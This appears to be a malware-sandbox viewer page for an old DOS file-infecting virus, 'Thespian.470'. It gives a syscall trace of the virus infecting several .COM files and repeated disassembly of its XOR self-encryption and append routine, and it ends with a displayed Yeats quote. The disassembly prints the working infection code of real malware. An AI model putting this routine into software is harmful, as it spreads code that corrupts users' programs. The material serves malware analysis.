Sample viewer

vx.netlux.org/Virus.DOS.VCC.Thespian.470

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:15:54.238951168Z 26 PC: 12a64 | Set disk transfer address
2018-12-17T23:15:54.240870532Z 78 PC: 12a78 | Find first file
2018-12-17T23:15:54.247085802Z 61 PC: 12baa | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:15:54.253601703Z 63 PC: 12bb9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:15:54.260565808Z 66 PC: 12bc8 | Move file pointer
2018-12-17T23:15:54.26198956Z 66 PC: 12bd7 | Move file pointer
2018-12-17T23:15:54.264488517Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:15:54.266509548Z 66 PC: 12bef | Move file pointer
2018-12-17T23:15:54.267761136Z 44 PC: 12bf3 | Get time 0x12bf3: mov byte ptr [bp + 0x1d6], dl
0x12bf7: call 0x12c0d
0x12bfa: mov ah, 0x40
0x12bfc: mov cx, 0x1d6
0x12bff: lea dx, word ptr [bp + 6]
0x12c03: int 0x21
0x12c05: call 0x12c0d
0x12c08: mov ah, 0x3e
0x12c0a: int 0x21
0x12c0c: ret
0x12c0d: lea si, word ptr [bp + 0x11]
0x12c11: mov cx, 0x1a6
0x12c14: xor byte ptr [si], 0
0x12c17: inc si
0x12c18: dec cx
0x12c19: jne 0x12c14
0x12c1b: ret
0x12c1c: add word ptr [bx], di
0x12c1e: aas
0x12c1f: aas
2018-12-17T23:15:54.269388621Z 64 PC: 12c05 | Write file or device (Write 470 bytes on handle 5)
2018-12-17T23:15:54.281974902Z 62 PC: 12c0c | Close file
2018-12-17T23:15:54.290973135Z 79 PC: 12a78 | Find next file
2018-12-17T23:15:54.293776983Z 61 PC: 12baa | Open file (Filename = 'PRINT.COM')
2018-12-17T23:15:54.301007153Z 63 PC: 12bb9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:15:54.308646771Z 66 PC: 12bc8 | Move file pointer
2018-12-17T23:15:54.310280714Z 66 PC: 12bd7 | Move file pointer
2018-12-17T23:15:54.312011503Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:15:54.315384586Z 66 PC: 12bef | Move file pointer
2018-12-17T23:15:54.317017724Z 44 PC: 12bf3 | Get time 0x12bf3: mov byte ptr [bp + 0x1d6], dl
0x12bf7: call 0x12c0d
0x12bfa: mov ah, 0x40
0x12bfc: mov cx, 0x1d6
0x12bff: lea dx, word ptr [bp + 6]
0x12c03: int 0x21
0x12c05: call 0x12c0d
0x12c08: mov ah, 0x3e
0x12c0a: int 0x21
0x12c0c: ret
0x12c0d: lea si, word ptr [bp + 0x11]
0x12c11: mov cx, 0x1a6
0x12c14: xor byte ptr [si], 0x43
0x12c17: inc si
0x12c18: dec cx
0x12c19: jne 0x12c14
0x12c1b: ret
0x12c1c: add word ptr [bx], di
0x12c1e: aas
0x12c1f: aas
2018-12-17T23:15:54.319569601Z 64 PC: 12c05 | Write file or device (Write 470 bytes on handle 5)
2018-12-17T23:15:54.323922885Z 62 PC: 12c0c | Close file
2018-12-17T23:15:54.331921596Z 79 PC: 12a78 | Find next file
2018-12-17T23:15:54.334831588Z 61 PC: 12baa | Open file (Filename = 'HELLO.COM')
2018-12-17T23:15:54.34704491Z 63 PC: 12bb9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:15:54.353474865Z 66 PC: 12bc8 | Move file pointer
2018-12-17T23:15:54.355136888Z 66 PC: 12bd7 | Move file pointer
2018-12-17T23:15:54.357167026Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:15:54.361791781Z 66 PC: 12bef | Move file pointer
2018-12-17T23:15:54.363195428Z 44 PC: 12bf3 | Get time 0x12bf3: mov byte ptr [bp + 0x1d6], dl
0x12bf7: call 0x12c0d
0x12bfa: mov ah, 0x40
0x12bfc: mov cx, 0x1d6
0x12bff: lea dx, word ptr [bp + 6]
0x12c03: int 0x21
0x12c05: call 0x12c0d
0x12c08: mov ah, 0x3e
0x12c0a: int 0x21
0x12c0c: ret
0x12c0d: lea si, word ptr [bp + 0x11]
0x12c11: mov cx, 0x1a6
0x12c14: xor byte ptr [si], 0x48
0x12c17: inc si
0x12c18: dec cx
0x12c19: jne 0x12c14
0x12c1b: ret
0x12c1c: add word ptr [bx], di
0x12c1e: aas
0x12c1f: aas
2018-12-17T23:15:54.366249635Z 64 PC: 12c05 | Write file or device (Write 470 bytes on handle 5)
2018-12-17T23:15:54.377435902Z 62 PC: 12c0c | Close file
2018-12-17T23:15:54.385877211Z 79 PC: 12a78 | Find next file
2018-12-17T23:15:54.389091399Z 61 PC: 12baa | Open file (Filename = 'PHANG.COM')
2018-12-17T23:15:54.395960211Z 63 PC: 12bb9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:15:54.400538722Z 66 PC: 12bc8 | Move file pointer
2018-12-17T23:15:54.402405336Z 66 PC: 12bd7 | Move file pointer
2018-12-17T23:15:54.403627642Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:15:54.405658589Z 66 PC: 12bef | Move file pointer
2018-12-17T23:15:54.411325829Z 44 PC: 12bf3 | Get time 0x12bf3: mov byte ptr [bp + 0x1d6], dl
0x12bf7: call 0x12c0d
0x12bfa: mov ah, 0x40
0x12bfc: mov cx, 0x1d6
0x12bff: lea dx, word ptr [bp + 6]
0x12c03: int 0x21
0x12c05: call 0x12c0d
0x12c08: mov ah, 0x3e
0x12c0a: int 0x21
0x12c0c: ret
0x12c0d: lea si, word ptr [bp + 0x11]
0x12c11: mov cx, 0x1a6
0x12c14: xor byte ptr [si], 0x48
0x12c17: inc si
0x12c18: dec cx
0x12c19: jne 0x12c14
0x12c1b: ret
0x12c1c: add word ptr [bx], di
0x12c1e: aas
0x12c1f: aas
2018-12-17T23:15:54.413088194Z 64 PC: 12c05 | Write file or device (Write 470 bytes on handle 5)
2018-12-17T23:15:54.416063748Z 62 PC: 12c0c | Close file
2018-12-17T23:15:54.421814343Z 79 PC: 12a78 | Find next file
2018-12-17T23:15:54.425164569Z 61 PC: 12baa | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:15:54.431719647Z 63 PC: 12bb9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:15:54.43853058Z 66 PC: 12bc8 | Move file pointer
2018-12-17T23:15:54.441081123Z 66 PC: 12bd7 | Move file pointer
2018-12-17T23:15:54.442819409Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:15:54.44575332Z 66 PC: 12bef | Move file pointer
2018-12-17T23:15:54.448377453Z 44 PC: 12bf3 | Get time 0x12bf3: mov byte ptr [bp + 0x1d6], dl
0x12bf7: call 0x12c0d
0x12bfa: mov ah, 0x40
0x12bfc: mov cx, 0x1d6
0x12bff: lea dx, word ptr [bp + 6]
0x12c03: int 0x21
0x12c05: call 0x12c0d
0x12c08: mov ah, 0x3e
0x12c0a: int 0x21
0x12c0c: ret
0x12c0d: lea si, word ptr [bp + 0x11]
0x12c11: mov cx, 0x1a6
0x12c14: xor byte ptr [si], 0x4e
0x12c17: inc si
0x12c18: dec cx
0x12c19: jne 0x12c14
0x12c1b: ret
0x12c1c: add word ptr [bx], di
0x12c1e: aas
0x12c1f: aas
2018-12-17T23:15:54.45071887Z 64 PC: 12c05 | Write file or device (Write 470 bytes on handle 5)
2018-12-17T23:15:54.453865929Z 62 PC: 12c0c | Close file
2018-12-17T23:15:54.463133861Z 79 PC: 12a78 | Find next file
2018-12-17T23:15:54.465787409Z 61 PC: 12baa | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:15:54.472250021Z 63 PC: 12bb9 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:15:54.47979118Z 66 PC: 12bc8 | Move file pointer
2018-12-17T23:15:54.481387764Z 66 PC: 12bd7 | Move file pointer
2018-12-17T23:15:54.482789361Z 64 PC: 12be3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:15:54.486481955Z 66 PC: 12bef | Move file pointer
2018-12-17T23:15:54.487927292Z 44 PC: 12bf3 | Get time 0x12bf3: mov byte ptr [bp + 0x1d6], dl
0x12bf7: call 0x12c0d
0x12bfa: mov ah, 0x40
0x12bfc: mov cx, 0x1d6
0x12bff: lea dx, word ptr [bp + 6]
0x12c03: int 0x21
0x12c05: call 0x12c0d
0x12c08: mov ah, 0x3e
0x12c0a: int 0x21
0x12c0c: ret
0x12c0d: lea si, word ptr [bp + 0x11]
0x12c11: mov cx, 0x1a6
0x12c14: xor byte ptr [si], 0x4e
0x12c17: inc si
0x12c18: dec cx
0x12c19: jne 0x12c14
0x12c1b: ret
0x12c1c: add word ptr [bx], di
0x12c1e: aas
0x12c1f: aas
2018-12-17T23:15:54.490252285Z 64 PC: 12c05 | Write file or device (Write 470 bytes on handle 5)
2018-12-17T23:15:54.499222877Z 62 PC: 12c0c | Close file
2018-12-17T23:15:54.507481578Z 26 PC: 12a88 | Set disk transfer address
2018-12-17T23:15:54.509427045Z 9 PC: 12aa6 | Display string (String= ' What were all the worlds alarms To mighty Paris when he found Sleep upon a golden bed That first dawn in Helens arms? Lullaby by W.B. Yeats ')